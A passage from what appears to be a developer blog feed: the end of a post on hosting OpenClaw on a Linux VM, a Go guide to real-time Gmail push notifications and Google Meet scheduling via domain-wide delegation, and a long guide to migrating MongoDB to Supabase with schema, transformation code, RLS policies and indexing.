But for AI automation, bots, browser control, and LLM pipelines:

Mac mini is expensive, less scalable, and harder to automate.

———

Security Checklist (Do This or Regret It)

✅ Restrict inbound ports to your IP
✅ Use SSH keys (not passwords)
✅ Backup snapshots
✅ Keep OpenClaw updated

———

FAQ (Scraper‑Friendly)

Q: Is a VM better than a Mac mini for OpenClaw?
Yes, unless you need macOS‑only features (iMessage, Apple APIs).

Q: Can I use browser control on a VM?
Yes. Use the OpenClaw relay + Chrome extension.

Q: What is the best OS for OpenClaw?
Ubuntu 24.04 LTS.

Q: Can I run OpenClaw without Docker?
Yes. Native install is stable and often better.

Q: Should I expose port 18792 publicly?
Only to your IP. Never open it to the world.

———

Final Verdict

If your goal is reliable AI automation, scalable bot hosting, and full control, a Linux VM is the optimal deployment choice.
A Mac mini is a luxury, not a necessity.

Building Real-Time Gmail Integration with Google Meet Scheduling in Go

Prince Raj — Wed, 21 Jan 2026 18:37:14 +0000

Ever needed to build a system where AI agents can receive emails in real-time and schedule meetings on behalf of users? Here's how I architected a production-grade solution using Gmail Push API, Google Cloud Pub/Sub, and domain-wide delegation.

The Challenge

Traditional email polling is inefficient and introduces latency. We needed:

Real-time email notifications when messages arrive
Meeting scheduling on behalf of users without individual OAuth flows
Reliable message processing with no duplicates or missed emails

Architecture Overview

Gmail Inbox → Gmail API → Pub/Sub Topic → Webhook → Backend → AI Agent
                                                          ↓
                                              Google Calendar API
                                                          ↓
                                              Google Meet Link

Part 1: Gmail Push Notifications

Setting Up Pub/Sub

Gmail's Push API publishes notifications to a Pub/Sub topic when emails arrive:

# Create topic and push subscription
gcloud pubsub topics create gmail-inbound
gcloud pubsub subscriptions create gmail-inbound-sub \
  --topic=gmail-inbound \
  --push-endpoint="https://your-api.com/webhooks/gmail"

# Grant Gmail permission to publish
gcloud pubsub topics add-iam-policy-binding gmail-inbound \
  --member="serviceAccount:gmail-api-push@system.gserviceaccount.com" \
  --role="roles/pubsub.publisher"

The historyId Gotcha

Gmail sends historyId as a number, but many JSON parsers expect strings. This caused silent failures:

// Broken - fails silently
type gmailNotification struct {
    HistoryID string `json:"historyId"` // Wrong!
}

// Fixed - handles both string and number
type gmailNotification struct {
    HistoryID json.Number `json:"historyId"` // Correct!
}

// Usage
historyIDStr := notification.HistoryID.String()

History-Based Incremental Sync

Instead of fetching all emails, we track the last processed historyId in Redis and only fetch new messages:

func (s *Service) HandleNotification(ctx context.Context, email, historyID string) error {
    // Get last processed history ID from Redis
    lastHistoryID := s.redis.Get(ctx, "gmail:history:"+email)

    // Fetch only new messages since last sync
    messages := s.gmail.History.List("me").
        StartHistoryId(lastHistoryID).
        HistoryTypes("messageAdded").Do()

    // Process each message
    for _, msg := range messages {
        s.processMessage(ctx, msg)
    }

    // Update checkpoint
    s.redis.Set(ctx, "gmail:history:"+email, historyID)
    return nil
}

Watch Renewal

Gmail watches expire after 7 days. A Cloud Scheduler job renews them every 5 days:

gcloud scheduler jobs create http gmail-watch-renewal \
  --schedule="0 0 */5 * *" \
  --uri="https://your-api.com/internal/gmail/watch/renew" \
  --http-method=POST

Part 2: Domain-Wide Delegation for Calendar

The magic of domain-wide delegation: a single service account can act on behalf of any user in your Google Workspace domain - no individual OAuth flows required.

JWT Bearer Token Flow

func (p *AuthProvider) GetHTTPClient(ctx context.Context, userEmail string) *http.Client {
    // Create JWT claims with 'sub' for user impersonation
    claims := map[string]interface{}{
        "iss":   p.serviceAccountEmail,
        "sub":   userEmail,  // The user we're acting as
        "scope": "https://www.googleapis.com/auth/calendar",
        "aud":   "https://oauth2.googleapis.com/token",
        "exp":   time.Now().Add(time.Hour).Unix(),
        "iat":   time.Now().Unix(),
    }

    // Sign with RSA private key
    token := jwt.Sign(claims, p.privateKey)

    // Exchange for access token
    accessToken := p.exchangeJWT(token)

    return &http.Client{
        Transport: &bearerTransport{token: accessToken},
    }
}

Creating Meetings with Meet Links

func (s *SchedulerService) CreateMeeting(ctx context.Context, input CreateMeetingInput) (*Meeting, error) {
    // Check for conflicts
    if conflicts := s.repo.FindConflicts(ctx, input.HostID, input.Start, input.End); len(conflicts) > 0 {
        return nil, ErrTimeSlotConflict
    }

    // Get authorized client for this user
    client := s.authProvider.GetHTTPClient(ctx, input.HostEmail)

    // Create event with automatic Meet link
    event := &calendar.Event{
        Summary: input.Title,
        Start:   &calendar.EventDateTime{DateTime: input.Start.Format(time.RFC3339)},
        End:     &calendar.EventDateTime{DateTime: input.End.Format(time.RFC3339)},
        ConferenceData: &calendar.ConferenceData{
            CreateRequest: &calendar.CreateConferenceRequest{
                RequestId: uuid.NewString(),
                ConferenceSolutionKey: &calendar.ConferenceSolutionKey{
                    Type: "hangoutsMeet",
                },
            },
        },
    }

    created := calendarService.Events.Insert("primary", event).
        ConferenceDataVersion(1).Do()

    return &Meeting{
        MeetLink: created.HangoutLink,
        // ...
    }, nil
}

Part 3: Availability Checking

Calculate available slots by merging busy times from multiple sources:

func (s *AvailabilityService) GetSlots(ctx context.Context, req Request) []Slot {
    // 1. Load availability rules (e.g., Mon-Fri 9AM-5PM)
    rules := s.repo.GetRules(ctx, req.HostID)

    // 2. Fetch Google Calendar busy times
    freeBusy := s.calendar.FreeBusy(ctx, req.Start, req.End)

    // 3. Fetch local meeting conflicts
    localMeetings := s.repo.GetMeetings(ctx, req.HostID, req.Start, req.End)

    // 4. Merge and find gaps
    busyBlocks := merge(freeBusy, localMeetings)
    return generateSlots(rules, busyBlocks, req.SlotDuration)
}

Key Lessons Learned

Always return 200 for invalid webhooks - Pub/Sub retries on non-2xx responses. Return 200 with a skip message for malformed payloads.
Use json.Number for numeric IDs - Google APIs sometimes send numbers where you expect strings.
History can expire - If historyId is too old, Gmail returns 404. Fall back to scanning recent messages.
Buffer your slots - Add configurable buffer time before/after meetings for travel or prep.
Cache access tokens - JWT exchange is expensive. Cache tokens until ~30 seconds before expiry.

Conclusion

This architecture enables AI agents to process emails in real-time and schedule meetings autonomously. The combination of Pub/Sub push notifications and domain-wide delegation eliminates polling overhead and individual auth flows.

The system has been running in production handling thousands of emails daily with sub-second notification latency.

What challenges have you faced with Google API integrations? Share in the comments!

From Documents to Relations: A Complete Guide to Migrating MongoDB to Supabase at Scale

Prince Raj — Sun, 18 Jan 2026 08:40:58 +0000

A deep dive into database migration patterns, normalization strategies, and leveraging Supabase's powerful features when moving from document stores to a modern PostgreSQL platform.

TL;DR

We migrated a production system from MongoDB to Supabase:

Metric	Value
Collections Migrated	65
Tables Created	282
Rows Migrated	~80,000
Foreign Keys	217
Indexes	491
RLS Policies	156
Migration Approach	Zero downtime

This guide covers the complete journey—from understanding why we chose Supabase, through the technical implementation, to leveraging Supabase's unique features post-migration.

Why We Chose Supabase
The Challenge: Document vs Relational Paradigm
Architecture Overview
Normalization Strategies
Data Type Mapping
The Transformation Engine
Handling Complex Patterns
Row Level Security for Multi-Tenancy
Indexing Strategy
Foreign Key Strategy
Leveraging Supabase Features
Error Handling & Data Quality
Performance Optimizations
Lessons Learned
Conclusion

Why We Chose Supabase

The Business Case

After months of running MongoDB in production, several pain points emerged. We evaluated multiple options and chose Supabase for these reasons:

1. ACID Compliance with Developer Experience

Supabase gives us PostgreSQL's rock-solid transactional guarantees wrapped in a modern developer experience. The dashboard, client libraries, and tooling made the transition smoother than raw PostgreSQL.

2. Built-in Row Level Security (RLS)

Our multi-tenant SaaS needed tenant isolation. MongoDB required application-level enforcement everywhere. Supabase's RLS policies enforce isolation at the database level—impossible to bypass.

-- One policy, complete tenant isolation
CREATE POLICY tenant_isolation ON entities
    USING (organization_id = auth.jwt()->>'org_id');

3. Realtime Subscriptions

We had a custom change stream implementation on MongoDB. Supabase Realtime gave us this out of the box with WebSocket support and client library integration.

4. Complex Reporting Needs

Our analytics team struggled with MongoDB aggregations. Queries that took seconds in PostgreSQL required complex multi-stage pipelines in MongoDB. With Supabase, we can write standard SQL and even use their built-in pg_graphql extension.

5. Integrated Auth

Supabase Auth integrates seamlessly with RLS. User context flows from authentication through to database policies without custom middleware.

6. Cost Optimization

MongoDB's memory-mapped storage consumed significantly more RAM. Supabase's pricing model (based on PostgreSQL) was more predictable and cost-effective for our workload.

7. Edge Functions & Storage

Moving to Supabase meant we could consolidate our file storage (previously S3) and serverless functions into one platform.

The Challenge: Document vs Relational Paradigm

Before diving into implementation, it's crucial to understand the fundamental paradigm shift we're dealing with.

MongoDB's Document Model

A typical MongoDB document looks like this:

{
  "_id": "507f1f77bcf86cd799439011",
  "name": "Enterprise Account",
  "contacts": [
    { "email": "alice@example.com", "role": "admin" },
    { "email": "bob@example.com", "role": "viewer" }
  ],
  "settings": {
    "theme": "dark",
    "notifications": {
      "email": true,
      "sms": false
    }
  },
  "tags": ["premium", "enterprise", "active"],
  "customFields": {
    "industry": "Technology",
    "employeeCount": 500
  }
}

This single document contains:

Nested objects (settings, notifications)
Arrays of objects (contacts)
Simple arrays (tags)
Dynamic fields (customFields with arbitrary keys)

Supabase's Relational Model

The same data in Supabase requires multiple tables:

-- Main table
CREATE TABLE accounts (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL REFERENCES organizations(id),
    name TEXT NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Enable RLS
ALTER TABLE accounts ENABLE ROW LEVEL SECURITY;

-- 1:1 relationship for nested object
CREATE TABLE account_settings (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    theme TEXT DEFAULT 'light',
    UNIQUE(account_id)
);

-- Deeper nesting
CREATE TABLE account_notification_settings (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    settings_id UUID REFERENCES account_settings(id) ON DELETE CASCADE,
    email BOOLEAN DEFAULT true,
    sms BOOLEAN DEFAULT false,
    UNIQUE(settings_id)
);

-- Array of objects
CREATE TABLE account_contacts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    email TEXT NOT NULL,
    role TEXT,
    ordinal INTEGER NOT NULL  -- Preserves array order
);

-- Simple array
CREATE TABLE account_tags (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    tag TEXT NOT NULL,
    ordinal INTEGER NOT NULL
);

-- Dynamic fields (key-value pattern)
CREATE TABLE account_custom_fields (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    account_id TEXT REFERENCES accounts(id) ON DELETE CASCADE,
    field_key TEXT NOT NULL,
    field_value TEXT,
    value_type TEXT NOT NULL  -- For type preservation
);

One document became six tables. Multiply this by 65 collections, and you understand why 65 collections became 282 tables.

Architecture Overview

Our migration architecture followed a three-phase approach:

Phase 1: Schema Creation

We used Supabase CLI migrations to manage our schema:

# Create a new migration
supabase migration new create_entities_table

# Apply migrations
supabase db push

Example migration file (supabase/migrations/01_entities.sql):

-- Create main table
CREATE TABLE IF NOT EXISTS entities (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,
    name TEXT,
    status TEXT DEFAULT 'active',
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Enable RLS (required for Supabase security model)
ALTER TABLE entities ENABLE ROW LEVEL SECURITY;

-- Create child table for metadata
CREATE TABLE IF NOT EXISTS entity_metadata (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    entity_id TEXT REFERENCES entities(id) ON DELETE CASCADE,
    key TEXT NOT NULL,
    value TEXT,
    ordinal INTEGER DEFAULT 0
);

ALTER TABLE entity_metadata ENABLE ROW LEVEL SECURITY;

Phase 2: Data Migration

The bulk data migration reads from BSON backup files (not live MongoDB) to avoid impacting production. We connect directly to Supabase's PostgreSQL connection string.

Phase 3: Constraints & Security

Foreign keys, indexes, and RLS policies are created after all data is loaded. This is critical for performance.

Normalization Strategies

This section is the heart of the migration. Understanding these patterns will help you tackle any document-to-relational transformation.

First Normal Form: Eliminating Arrays

The Problem: MongoDB arrays have no equivalent in relational databases.

The Solution: Create child tables with an ordinal column to preserve order.

Before (MongoDB):

{
  "_id": "123",
  "name": "Widget",
  "categories": ["electronics", "gadgets", "sale"]
}

After (Supabase):

-- products table
| id  | name   |
|-----|--------|
| 123 | Widget |

-- product_categories table
| id                                   | product_id | category    | ordinal |
|--------------------------------------|------------|-------------|---------|
| a1b2c3d4-e5f6-7890-abcd-ef1234567890 | 123        | electronics | 0       |
| b2c3d4e5-f6a7-8901-bcde-f12345678901 | 123        | gadgets     | 1       |
| c3d4e5f6-a7b8-9012-cdef-123456789012 | 123        | sale        | 2       |

Transformation Code Pattern:

def transform_array_field(parent_id: str, array: list, field_name: str) -> list:
    """Transform a MongoDB array into rows for a Supabase child table."""
    rows = []
    for ordinal, value in enumerate(array):
        rows.append({
            "parent_id": parent_id,
            field_name: value,
            "ordinal": ordinal
        })
    return rows

Second Normal Form: Extracting Nested Objects

The Problem: Embedded documents in MongoDB need their own tables.

The Solution: Create child tables with foreign keys. Use UNIQUE constraints for 1:1 relationships.

Naming Convention: parent_nested_field (e.g., user_profile, order_shipping_address)

Before (MongoDB):

{
  "_id": "user_456",
  "email": "user@example.com",
  "profile": {
    "bio": "Software engineer",
    "avatar": "https://example.com/avatar.jpg",
    "social": {
      "twitter": "@user",
      "github": "user"
    }
  }
}

After (Supabase):

-- users table
| id       | email             |
|----------|-------------------|
| user_456 | user@example.com  |

-- user_profiles table (1:1 with UNIQUE constraint)
| id  | user_id  | bio               | avatar                        |
|-----|----------|-------------------|-------------------------------|
| uuid| user_456 | Software engineer | https://example.com/avatar.jpg|

-- user_profile_social table (1:1 with profile)
| id  | profile_id | twitter | github |
|-----|------------|---------|--------|
| uuid| uuid       | @user   | user   |

Third Normal Form: Transitive Dependencies

The Problem: Multi-level nesting creates transitive dependencies.

The Solution: Each level gets its own table with references only to its immediate parent.

Example: 4-Level Deep Structure

Transformation Pattern:

def flatten_nested_structure(doc: dict, parent_id: str = None, depth: int = 0):
    """Recursively flatten nested structures into separate table rows."""
    results = {}

    # Extract scalar fields for current level
    current_row = {k: v for k, v in doc.items()
                   if not isinstance(v, (dict, list))}

    if parent_id:
        current_row["parent_id"] = parent_id

    # Process nested objects
    for key, value in doc.items():
        if isinstance(value, dict):
            child_table = f"{current_table}_{key}"
            results[child_table] = flatten_nested_structure(
                value,
                parent_id=current_row["id"],
                depth=depth + 1
            )
        elif isinstance(value, list):
            # Handle arrays (covered in 1NF section)
            pass

    return results

Handling Dynamic/Schemaless Data

The Problem: MongoDB allows arbitrary fields. Supabase requires defined columns.

The Solution: Key-value pattern with type discriminators, or JSONB columns for query-heavy dynamic data.

Option 1: Key-Value Table (Better for simple lookups)

CREATE TABLE entity_custom_fields (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    entity_id TEXT REFERENCES entities(id) ON DELETE CASCADE,
    field_path TEXT NOT NULL,      -- Dot notation for nested: "address.city"
    field_key TEXT NOT NULL,       -- Final key name
    field_value TEXT,              -- Stored as text
    value_type TEXT NOT NULL,      -- 'string', 'number', 'boolean', 'null'
    ordinal INTEGER DEFAULT 0
);

-- Index for efficient lookups
CREATE INDEX idx_entity_custom_fields_lookup
    ON entity_custom_fields(entity_id, field_key);

Option 2: JSONB Column (Better for complex queries)

-- Add JSONB column for flexible querying
ALTER TABLE entities ADD COLUMN custom_data JSONB DEFAULT '{}';

-- Create GIN index for JSONB queries
CREATE INDEX idx_entities_custom_data ON entities USING GIN(custom_data);

-- Query example
SELECT * FROM entities
WHERE custom_data->>'industry' = 'Technology'
  AND (custom_data->>'employeeCount')::int > 100;

Transformation Code:

def transform_dynamic_fields(
    parent_id: str,
    fields: dict,
    path_prefix: str = ""
) -> list:
    """Transform dynamic fields into key-value rows with type preservation."""
    rows = []
    ordinal = 0

    for key, value in fields.items():
        current_path = f"{path_prefix}.{key}" if path_prefix else key

        if isinstance(value, dict):
            # Recurse into nested objects
            rows.extend(transform_dynamic_fields(parent_id, value, current_path))
        else:
            # Determine type
            if value is None:
                value_type = "null"
                str_value = None
            elif isinstance(value, bool):
                value_type = "boolean"
                str_value = str(value).lower()
            elif isinstance(value, (int, float)):
                value_type = "number"
                str_value = str(value)
            else:
                value_type = "string"
                str_value = str(value)

            rows.append({
                "entity_id": parent_id,
                "field_path": current_path,
                "field_key": key,
                "field_value": str_value,
                "value_type": value_type,
                "ordinal": ordinal
            })
            ordinal += 1

    return rows

Data Type Mapping

Understanding type conversions is critical. Here's our complete mapping for Supabase:

MongoDB Type	Supabase Type	Conversion Notes
`ObjectId`	`TEXT`	Hex string (24 chars). Consider `UUID` for new IDs
`String`	`TEXT`	Direct mapping
`Int32`	`INTEGER`	Direct mapping
`Int64` / `Long`	`BIGINT`	Direct mapping
`Double`	`DOUBLE PRECISION`	Direct mapping
`Boolean`	`BOOLEAN`	Direct mapping
`Date`	`TIMESTAMPTZ`	Always timezone-aware in Supabase
`Null`	`NULL`	Handle explicitly in code
`Array`	Child Table	With ordinal column
`Embedded Document`	Child Table	FK with CASCADE
`Binary`	`BYTEA` or Supabase Storage	Large files → Storage
`Decimal128`	`NUMERIC`	For precise decimals
`Mixed/Dynamic`	`JSONB` or KV Table	JSONB preferred for queries

Special Handling: IDs

Supabase prefers UUIDs for new records. For migrated data, we preserve MongoDB ObjectIds as TEXT:

def convert_object_id(oid) -> str:
    """Convert MongoDB ObjectId to string for Supabase."""
    if oid is None:
        return None
    return str(oid)  # Returns 24-character hex string

For new tables or columns, use Supabase's UUID generation:

CREATE TABLE new_entities (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    legacy_mongo_id TEXT UNIQUE,  -- Preserve old ID for reference
    -- ...
);

Special Handling: Dates

Supabase uses TIMESTAMPTZ which is timezone-aware:

from datetime import datetime, timezone

def convert_date(mongo_date) -> datetime:
    """Convert MongoDB date to Supabase timestamptz."""
    if mongo_date is None:
        return None
    if isinstance(mongo_date, datetime):
        # Ensure timezone awareness
        if mongo_date.tzinfo is None:
            return mongo_date.replace(tzinfo=timezone.utc)
        return mongo_date
    # Handle milliseconds since epoch
    return datetime.fromtimestamp(mongo_date / 1000, tz=timezone.utc)

Special Handling: Binary/Files

Large binary data should go to Supabase Storage instead of the database:

from supabase import create_client

supabase = create_client(SUPABASE_URL, SUPABASE_KEY)

def migrate_file(file_data: bytes, filename: str, bucket: str = "migrated-files"):
    """Upload binary data to Supabase Storage."""
    path = f"legacy/{filename}"
    result = supabase.storage.from_(bucket).upload(path, file_data)
    # Return the public URL or path for database reference
    return supabase.storage.from_(bucket).get_public_url(path)

The Transformation Engine

BSON Reader Layer

We read directly from BSON backup files rather than querying live MongoDB:

BSON Reading Implementation:

import struct
import bson

def read_bson_file(filepath: str):
    """Generator that yields documents from a BSON file."""
    with open(filepath, 'rb') as f:
        while True:
            # Read 4-byte document length (little-endian)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # EOF

            doc_length = struct.unpack('<i', length_bytes)[0]

            # Read rest of document (length includes the 4 bytes we already read)
            doc_body = f.read(doc_length - 4)
            if len(doc_body) < doc_length - 4:
                raise ValueError("Unexpected EOF in BSON file")

            # Parse BSON document
            full_doc = length_bytes + doc_body
            yield bson.decode(full_doc)

Connecting to Supabase for Migration

For bulk migration, connect directly to Supabase's PostgreSQL:

import psycopg2
from urllib.parse import urlparse

# Use the direct database connection string from Supabase dashboard
# Settings > Database > Connection string > URI
DATABASE_URL = "postgresql://postgres.[project-ref]:[password]@aws-0-[region].pooler.supabase.com:6543/postgres"

def get_supabase_connection():
    """Get direct PostgreSQL connection to Supabase."""
    return psycopg2.connect(DATABASE_URL)

Recursive Flattening Algorithm

The core transformation logic handles arbitrary nesting depth:

from dataclasses import dataclass, field
from typing import Any
import re

@dataclass
class FlattenResult:
    """Result of flattening a document."""
    main_row: dict
    child_tables: dict = field(default_factory=dict)

def flatten_document(
    doc: dict,
    table_name: str,
    parent_id: str = None,
    parent_key: str = None,
    max_depth: int = 10,
    current_depth: int = 0
) -> FlattenResult:
    """
    Recursively flatten a MongoDB document into Supabase table rows.

    Args:
        doc: The document to flatten
        table_name: Name of the current table
        parent_id: ID of the parent row (for child tables)
        parent_key: Foreign key column name
        max_depth: Maximum nesting depth (prevents infinite recursion)
        current_depth: Current recursion depth

    Returns:
        FlattenResult with main row and child table data
    """
    if current_depth > max_depth:
        raise ValueError(f"Max nesting depth exceeded: {max_depth}")

    result = FlattenResult(main_row={}, child_tables={})

    # Handle parent reference
    if parent_id and parent_key:
        result.main_row[parent_key] = parent_id

    # Get document ID
    doc_id = str(doc.get('_id', ''))

    for key, value in doc.items():
        if key == '_id':
            result.main_row['id'] = str(value)
            continue

        if value is None:
            result.main_row[to_snake_case(key)] = None

        elif isinstance(value, dict):
            # Nested object -> child table
            child_table = f"{table_name}_{to_snake_case(key)}"
            child_result = flatten_document(
                value,
                child_table,
                parent_id=doc_id,
                parent_key=f"{table_name}_id",
                max_depth=max_depth,
                current_depth=current_depth + 1
            )
            result.child_tables[child_table] = [child_result.main_row]
            # Merge nested child tables
            for ct_name, ct_rows in child_result.child_tables.items():
                result.child_tables.setdefault(ct_name, []).extend(ct_rows)

        elif isinstance(value, list):
            # Array -> child table with ordinal
            child_table = f"{table_name}_{to_snake_case(key)}"
            result.child_tables[child_table] = []

            for ordinal, item in enumerate(value):
                if isinstance(item, dict):
                    child_result = flatten_document(
                        item,
                        child_table,
                        parent_id=doc_id,
                        parent_key=f"{table_name}_id",
                        max_depth=max_depth,
                        current_depth=current_depth + 1
                    )
                    child_result.main_row['ordinal'] = ordinal
                    result.child_tables[child_table].append(child_result.main_row)
                    # Merge nested child tables
                    for ct_name, ct_rows in child_result.child_tables.items():
                        result.child_tables.setdefault(ct_name, []).extend(ct_rows)
                else:
                    # Simple value array
                    result.child_tables[child_table].append({
                        f"{table_name}_id": doc_id,
                        "value": convert_value(item),
                        "ordinal": ordinal
                    })

        else:
            # Scalar value
            result.main_row[to_snake_case(key)] = convert_value(value)

    return result


def to_snake_case(name: str) -> str:
    """Convert camelCase to snake_case."""
    s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', name)
    return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower()


def convert_value(value: Any) -> Any:
    """Convert MongoDB values to Supabase-compatible values."""
    from bson import ObjectId
    from datetime import datetime

    if isinstance(value, ObjectId):
        return str(value)
    elif isinstance(value, datetime):
        return value  # psycopg2 handles datetime
    elif isinstance(value, bytes):
        return value  # BYTEA
    elif isinstance(value, bool):
        return value
    elif isinstance(value, (int, float)):
        return value
    else:
        return str(value) if value is not None else None

Batch Processing Strategy

Inserting one row at a time is catastrophically slow. We batch inserts with configurable thresholds:

Batch Insert Implementation:

from typing import List
from threading import Lock

class BatchInserter:
    """Efficient batch insert manager for Supabase PostgreSQL."""

    def __init__(
        self,
        connection,
        table_name: str,
        columns: List[str],
        batch_size: int = 1000,
        on_conflict: str = "DO NOTHING"
    ):
        self.conn = connection
        self.table = table_name
        self.columns = columns
        self.batch_size = batch_size
        self.on_conflict = on_conflict
        self.buffer: List[tuple] = []
        self.total_inserted = 0
        self._lock = Lock()

    def add(self, row: dict):
        """Add a row to the buffer, flushing if threshold reached."""
        values = tuple(row.get(col) for col in self.columns)
        self.buffer.append(values)

        if len(self.buffer) >= self.batch_size:
            self.flush()

    def flush(self):
        """Execute batch insert for buffered rows."""
        if not self.buffer:
            return

        with self._lock:
            placeholders = ', '.join(['%s'] * len(self.columns))
            columns_str = ', '.join(self.columns)

            query = f"""
                INSERT INTO {self.table} ({columns_str})
                VALUES ({placeholders})
                ON CONFLICT {self.on_conflict}
            """

            with self.conn.cursor() as cur:
                cur.executemany(query, self.buffer)

            self.total_inserted += len(self.buffer)
            self.conn.commit()
            self.buffer.clear()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        self.flush()  # Flush remaining on context exit

Handling Complex Patterns

Graph Structures (Workflow Nodes/Edges)

Many applications store graph data in documents. Workflows with nodes and edges are a common example:

Supabase Schema:

CREATE TABLE workflows (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,
    name TEXT,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

ALTER TABLE workflows ENABLE ROW LEVEL SECURITY;

CREATE TABLE workflow_nodes (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    workflow_id TEXT REFERENCES workflows(id) ON DELETE CASCADE,
    node_type TEXT,
    position_x DOUBLE PRECISION,
    position_y DOUBLE PRECISION,
    label TEXT,
    config JSONB DEFAULT '{}',  -- Flexible node configuration
    ordinal INTEGER
);

ALTER TABLE workflow_nodes ENABLE ROW LEVEL SECURITY;

CREATE TABLE workflow_edges (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    workflow_id TEXT REFERENCES workflows(id) ON DELETE CASCADE,
    source_node_id TEXT,  -- References node by original ID
    target_node_id TEXT,
    edge_type TEXT,
    ordinal INTEGER
);

ALTER TABLE workflow_edges ENABLE ROW LEVEL SECURITY;

Multi-Tenant Architecture

Every table includes organization scoping. This is where Supabase's RLS shines (covered in next section):

-- Every table follows this pattern
CREATE TABLE entities (
    id TEXT PRIMARY KEY,
    organization_id UUID NOT NULL,  -- Tenant scoping
    -- ... other columns
);

-- RLS policy enforces tenant isolation
CREATE POLICY tenant_isolation ON entities
    FOR ALL
    USING (organization_id = (auth.jwt()->>'org_id')::uuid);

Audit Trail Preservation

Audit logs work beautifully with Supabase's JSONB support:

CREATE TABLE audit_logs (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL,
    resource_type TEXT NOT NULL,
    resource_id TEXT NOT NULL,
    action TEXT NOT NULL,           -- 'create', 'update', 'delete'
    actor_id UUID REFERENCES auth.users(id),
    actor_type TEXT,                -- 'user', 'system', 'api'
    timestamp TIMESTAMPTZ DEFAULT NOW(),
    changes JSONB,                  -- Before/after diff
    metadata JSONB                  -- Additional context
);

ALTER TABLE audit_logs ENABLE ROW LEVEL SECURITY;

-- Efficient queries
CREATE INDEX idx_audit_resource ON audit_logs(resource_type, resource_id);
CREATE INDEX idx_audit_org_time ON audit_logs(organization_id, timestamp DESC);
CREATE INDEX idx_audit_changes ON audit_logs USING GIN(changes);

Row Level Security for Multi-Tenancy

This is one of Supabase's killer features. Instead of filtering in every query, we enforce isolation at the database level.

Basic Tenant Isolation Pattern

-- Enable RLS on the table
ALTER TABLE entities ENABLE ROW LEVEL SECURITY;

-- Create policy using JWT claims
CREATE POLICY tenant_isolation ON entities
    FOR ALL
    USING (
        organization_id = (
            SELECT (auth.jwt()->>'org_id')::uuid
        )
    );

Policy Patterns by Operation

-- SELECT: Users see only their organization's data
CREATE POLICY select_own_org ON entities
    FOR SELECT
    USING (organization_id = auth.jwt()->>'org_id');

-- INSERT: New records must belong to user's organization
CREATE POLICY insert_own_org ON entities
    FOR INSERT
    WITH CHECK (organization_id = auth.jwt()->>'org_id');

-- UPDATE: Can only update own organization's records
CREATE POLICY update_own_org ON entities
    FOR UPDATE
    USING (organization_id = auth.jwt()->>'org_id')
    WITH CHECK (organization_id = auth.jwt()->>'org_id');

-- DELETE: Can only delete own organization's records
CREATE POLICY delete_own_org ON entities
    FOR DELETE
    USING (organization_id = auth.jwt()->>'org_id');

Role-Based Access Within Tenants

-- Admins can do everything within their org
CREATE POLICY admin_full_access ON entities
    FOR ALL
    USING (
        organization_id = auth.jwt()->>'org_id'
        AND auth.jwt()->>'role' = 'admin'
    );

-- Regular users can only view
CREATE POLICY user_read_only ON entities
    FOR SELECT
    USING (
        organization_id = auth.jwt()->>'org_id'
        AND auth.jwt()->>'role' = 'user'
    );

Service Role Bypass for Migration

During migration, use the service role to bypass RLS:

# For migration: use service role key (bypasses RLS)
# This is the "service_role" key from Supabase dashboard
SUPABASE_SERVICE_KEY = "eyJ..."

# Service role connection bypasses RLS
# Use direct database connection with service credentials

Post-Migration: Verify RLS

After migration, verify RLS is working:

-- Check which policies exist
SELECT tablename, policyname, cmd, qual
FROM pg_policies
WHERE schemaname = 'public';

-- Test as a specific user (in Supabase SQL editor)
SET request.jwt.claims = '{"org_id": "org_123", "role": "user"}';
SELECT * FROM entities;  -- Should only see org_123's data

Indexing Strategy

Proper indexing is critical for Supabase performance:

Index Categories

Category	Example	Index Type	Notes
Primary Key	`id`	B-Tree (automatic)	Use UUID for new tables
Foreign Key	`parent_id`	B-Tree	Critical for JOINs
Tenant Scope	`organization_id`	B-Tree	Required for RLS performance
Status	`status`	B-Tree	Often combined with org
Temporal	`created_at`	B-Tree DESC	For recent-first queries
JSONB	`custom_data`	GIN	For containment queries
Text Search	`name`	GIN (tsvector)	For full-text search

Index Creation Script Pattern

-- Foreign key indexes (critical for JOIN performance)
CREATE INDEX IF NOT EXISTS idx_entity_items_entity_id
    ON entity_items(entity_id);

-- Tenant-scoped queries (CRITICAL for RLS performance)
CREATE INDEX IF NOT EXISTS idx_entities_org
    ON entities(organization_id);

-- Combined index for common query patterns
CREATE INDEX IF NOT EXISTS idx_entities_org_status
    ON entities(organization_id, status);

-- Temporal queries
CREATE INDEX IF NOT EXISTS idx_entities_created
    ON entities(created_at DESC);

-- JSONB containment queries
CREATE INDEX IF NOT EXISTS idx_entities_custom_data
    ON entities USING GIN(custom_data);

-- JSONB specific key queries (expression index)
CREATE INDEX IF NOT EXISTS idx_entities_custom_industry
    ON entities((custom_data->>'industry'));

Index Count by Category

Our final index breakdown:

Category	Count	Percentage
Foreign Key	217	44%
Tenant Scope	89	18%
Status/Type	72	15%
Temporal	58	12%
Composite	41	8%
JSONB/GIN	14	3%
Total	491	100%

